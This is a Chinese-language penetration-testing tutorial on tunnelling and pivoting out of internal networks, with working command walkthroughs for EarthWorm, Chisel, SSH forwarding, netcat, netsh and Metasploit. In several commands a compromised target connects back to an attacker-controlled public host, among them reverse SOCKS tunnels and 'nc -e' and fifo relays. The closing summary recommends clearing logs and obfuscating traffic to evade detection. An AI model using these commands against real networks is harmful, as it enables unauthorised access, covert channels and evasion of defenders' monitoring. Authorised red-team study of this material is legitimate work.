内网穿透技术

在网络安全渗透测试中,隧道技术是突破内网限制、实现隐蔽通信的关键手段。常见的隧道技术及工具可分为以下几类,结合不同协议和应用场景,以下是详细总结:


一、隧道技术分类

1. 网络层隧道技术

  • ICMP隧道:通过ICMP协议封装数据,绕过防火墙限制。例如,icmpshPingTunnel工具支持ICMP流量伪装,适用于网络层隐蔽通信。
  • IPv6隧道:将IPv6数据包封装在IPv4中传输,用于跨网络环境的数据传输。

2. 传输层隧道协议

  • TCP/UDP隧道:通过TCP或UDP协议转发流量,常用工具如netcat(瑞士军刀)、lcx(轻量级端口转发),支持灵活的网络调试和流量中转。
  • 常规端口转发:如SSH的本地/远程端口转发(ssh -Lssh -R),通过加密通道实现内网穿透。

3. 应用层隧道技术

  • SSH隧道:利用SSH协议加密通信,支持动态代理(ssh -D)和端口映射,适用于安全远程访问。
  • HTTP/HTTPS隧道:通过HTTP协议伪装流量,工具如httptunnelstunnel,适用于绕过HTTP代理限制并加密通信。
  • DNS隧道:利用DNS查询传输数据,工具如iodinednscat,适合严格网络环境下的隐蔽通信。

4. 代理与反向代理技术

  • Socks代理:如EarthWorm支持正向(ssocksd)和反向代理(rcsocks),适用于内网穿透和流量中转。
  • 反向代理工具:如frpNgrok,通过公网服务器暴露内网服务,支持TCP/HTTP等多种协议。

二、常用隧道工具及功能

1. frp

  • 功能:高性能反向代理工具,支持TCP/UDP/HTTP/HTTPS协议,用于内网穿透和端口映射。
  • 场景:将内网服务的端口映射到公网服务器,便于外部访问。
  • 演示:关于frp的使用我在其他文章,甚至是视频中都有所提及。

2. EarthWorm (EW)

  • 功能:支持Socks5代理、端口转发和隧道穿透,命令简单,大小只有几十KB,适用于复杂网络环境。

  • 场景:正向代理(ssocksd)和反向代理(rcsocks)模式,结合多级跳板突破内网限制。

  • 下载:由于ew在Github上以停止更新因此需要到其他库去下载。

  • 官方文档https://rootkiter.com/EarthWorm/index.html

  • 该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

    1. 正向 SOCKS v5 服务器

    1
    $ ./ew -s ssocksd -l 1080

    2. 反弹 SOCKS v5 服务器**

    这个操作具体分两步: a) 先在一台具有公网 ip 的主机A上运行以下命令:

    1
    $ ./ew -s rcsocks -l 1080 -e 8888 

    b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

    1
    $ ./ew -s rssocks -d 1.1.1.1 -e 8888 

    成功。

    3. 多级级联

    工具中自带的三条端口转发指令, 它们的参数格式分别为:

    1
    2
    3
    $ ./ew -s lcx_listen -l  1080   -e 8888  
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999`

    通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。 首先提供两个“二级级联”本地SOCKS测试样例:

    a) lcx_tran 的用法

    1
    2
    $ ./ew -s ssocksd  -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

    b) lcx_listen、lcx_slave 的用法

    1
    2
    3
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

    再提供一个“三级级联”的本地SOCKS测试用例以供参考

    1
    2
    3
    4
    $ ./ew -s rcsocks -l 1080 -e 8888  
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    $ ./ew -s lcx_listen -l 9999 -e 7777
    $ ./ew -s rssocks -d 127.0.0.1 -e 7777

    数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

3.Chisel

  • 功能:chisel也和EarthWorm相同,专门用来做隧道代理和搭建的工具,且Chisel目前仍在维护,而EarthWorm已经很多年没更新了。

  • 下载GitHub地址

  • 演示

  • 公网攻击机开启8080端口监听,等待靶机连接

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ sudo chisel server -p 8080 --reverse
[sudo] kali 的密码:
2025/05/25 04:55:08 server: Reverse tunnelling enabled
2025/05/25 04:55:08 server: Fingerprint 4fgHLRfUNZdOvTMxte/9bUL0Y6rXhL/U/lhKPTcVFlM=
2025/05/25 04:55:08 server: Listening on http://0.0.0.0:8080
2025/05/25 04:55:20 server: session#1: Client version (1.10.1) differs from server version (1.10.1-0kali1)
2025/05/25 04:55:20 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

  • 客户端靶机连接服务器,同时在服务器的1080端口开放socks代理端口
1
2
3
$  ./chisel_1.10.1_linux_amd64 client 192.168.100.129:8080 R:socks
2025/05/25 16:55:35 client: Connecting to ws://192.168.100.129:8080
2025/05/25 16:55:35 client: Connected (Latency 598.225µs)

3. SSH

  • 功能:本地端口转发(-L)、远程端口转发(-R)及动态代理(-D)。

本地端口转发,无需修改配置文件,常用于仅可本机访问的服务,例如mysql、redis等

  • 场景:加密通信、绕过防火墙或访问内网资源。

  • 演示1(远程端口转发):将内网中的web服务暴露到我们远程公网服务器

    • 需要在我们公网服务器的sshd服务上设置允许端口转发和网关端口,如果不修改配置的话只能允许通过本地访问,不能暴露到所有接口。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 编辑 SSH 配置文件
    sudo vim /etc/ssh/sshd_config

    # 找到并修改以下参数:
    GatewayPorts yes # 允许绑定到 0.0.0.0
    AllowTcpForwarding yes # 允许端口转发

    # 重启 SSH 服务
    sudo systemctl restart sshd
    • 在已攻陷的机器上ssh连接我们的公网服务器
    1
    2
    # 将沦陷靶机内网的192.168.100.137ip上的8888端口服务暴露到公网服务器的所有网卡接口的8000端口上
    ssh <公网用户名>@<公网IP> -p 22 -R 0.0.0.0:8000:192.168.100.137:8888
  • 演示2(socks5代理隧道)

    • 命令格式(攻击机执行)(挺方便的一个用法,但是利用前提必须是我们能够直连我们的跳板机)
    1
    2
    ssh -D 0.0.0.0:1080 <跳板机用户>@<跳板机IP> -p <SSH端口>
    # 攻击机去连接跳板机,连接后会在攻击机的本地端口上开放1080socks5端口,这时就可以利用这个端口做内网渗透
    • curl socks5代理演示
    1
    curl http://192.168.100.137:8888 --socks5 127.0.0.1:1080

4. Netcat

  • 功能:多协议支持(TCP/UDP),用于端口扫描、文件传输和简单隧道搭建。
  • 场景:快速建立临时通信通道或调试网络服务。
  • 演示:利用fifo管道实现,配置起来相对复杂,且连接经常不稳定,且不同版本的nc有所差异,例如。

正向代理(直接穿透)

  1. 在目标内网主机启动服务:
1
2
# 启动一个本地 HTTP 服务(Python 快速测试)
python3 -m http.server 8000
  1. 使用 netcat 暴露端口到公网:
1
2
# 将内网 8000 端口转发到公网 8080 端口(需公网主机)
nc -l -p 8080 -c "nc 127.0.0.1 8000"
  • 参数说明
    • -l:监听模式。
    • -p:指定监听端口。
    • -c:连接成功后执行的命令(将流量转发到本地 8000 端口)。
  1. 外部访问:
1
curl http://<公网主机IP>:8080

反向代理(穿透防火墙/NAT)

  1. 在公网服务器监听端口:
1
2
# 公网服务器(IP: 1.2.3.4)监听 8080 端口
nc -l -p 8080 -k # -k 表示保持监听(支持多连接)
  1. 内网主机反向连接并转发流量:
1
2
# 内网主机主动连接公网服务器 8080 端口,并转发本地 8000 服务
nc 1.2.3.4 8080 -e "nc 127.0.0.1 8000"
  • 注意:部分 netcat 版本不支持 -e 参数,需改用管道:
1
2
mkfifo /tmp/fifo
nc 1.2.3.4 8080 < /tmp/fifo | nc 127.0.0.1 8000 > /tmp/fifo
  1. 外部访问:
1
curl http://1.2.3.4:8080  # 流量经公网服务器转发到内网 8000 端口

5. DNS隧道工具(iodine/dnscat)

  • 功能:通过DNS协议传输数据,绕过防火墙限制。
  • 场景:严格网络环境下的隐蔽通信,如企业内网穿透。

6. Proxifier/Proxychains

  • 功能:全局代理工具,强制所有应用流量通过指定代理服务器。
  • 场景:Windows/Linux系统下的多工具代理集成。

7. Ngrok/Nps

  • 功能:快速内网穿透,支持Web界面管理和多协议转发。
  • 场景:开发测试、临时服务暴露及内网管理。 通常用于攻防演练中IP代理词。

8.Iptables

  • 也可以用来做端口转发,当攻击机能直接访问到靶机时。
  • 但是需要修改更改配置文件,来允许ipv4的的转发,可能配置起来比较麻烦。

9.Netsh

  • windows环境下还可以使用自带的Netsh进行端口转发,不过不支持UDP的通信。

  • 演示:Windows 端口转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 添加转发规则(将本机 8080 转发到 192.168.100.1:80)
PS C:\Windows\system32> netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.100.1 connectport=80

# 查看所有规则
PS C:\Windows\system32> netsh interface portproxy show all

侦听 ipv4: 连接到 ipv4:

地址 端口 地址 端口
--------------- ---------- --------------- ----------
0.0.0.0 8080 192.168.100.1 80

# 删除规则0.0.0.0:8080端口监听的规则
PS C:\Windows\system32> netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

10.Metasploit

  • 功能:主要用于集成化渗透的大型框架,其中包含多种渗透功能。
  • 演示:当我们获得了shell时,就可以利用msf的添加路由和sock代理的功能实现隧道搭建。
  1. 添加路由(用于在msf中的攻击,可达靶机的内网环境)
1
2
3
4
5
6
7
8
9
# m1.自动探测并添加路由
meterpreter > run post/multi/manage/autoroute

# m2.或者也可以手动添加路由规则
meterpreter > background # 将会话放到后台
msf6 > route add [目标内网IP段] [子网掩码] [会话ID]
# 示例:添加10.10.10.0/24网段,会话ID为1
msf6 > route add 10.10.10.0 255.255.255.0 1
msf6 > route print # 查看已添加路由
  1. 搭建sock5代理,用于其他渗透软件的流量转发。
1
2
3
4
5
6
7
8
9
10
11
12

# 使用实例
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy # 选择模块
msf6 auxiliary(server/socks_proxy) > set VERSION 5 # 设置socks版本
VERSION => 5
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080 # 设置代理端口
SRVPORT => 1080
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server


三、技术选型建议

  • 隐蔽性要求高:优先选择DNS隧道(如iodine)或ICMP隧道(如PingTunnel)。
  • 加密需求强:使用SSH隧道或HTTPS隧道(stunnel)保障数据安全。
  • 复杂网络环境:结合多级代理工具(如EarthWormfrp)实现灵活穿透。
  • 协议限制严格:尝试非常规协议(如ICMP或DNS)绕过防火墙检测。

四、总结

隧道技术的核心在于通过协议封装和流量伪装突破网络限制,工具选择需结合具体场景(如协议支持、加密需求、隐蔽性)。例如,frp适用于简单反向代理,而EarthWorm更适合多级跳板渗透。渗透测试中需灵活组合技术,并注意日志清理和流量混淆以避免检测。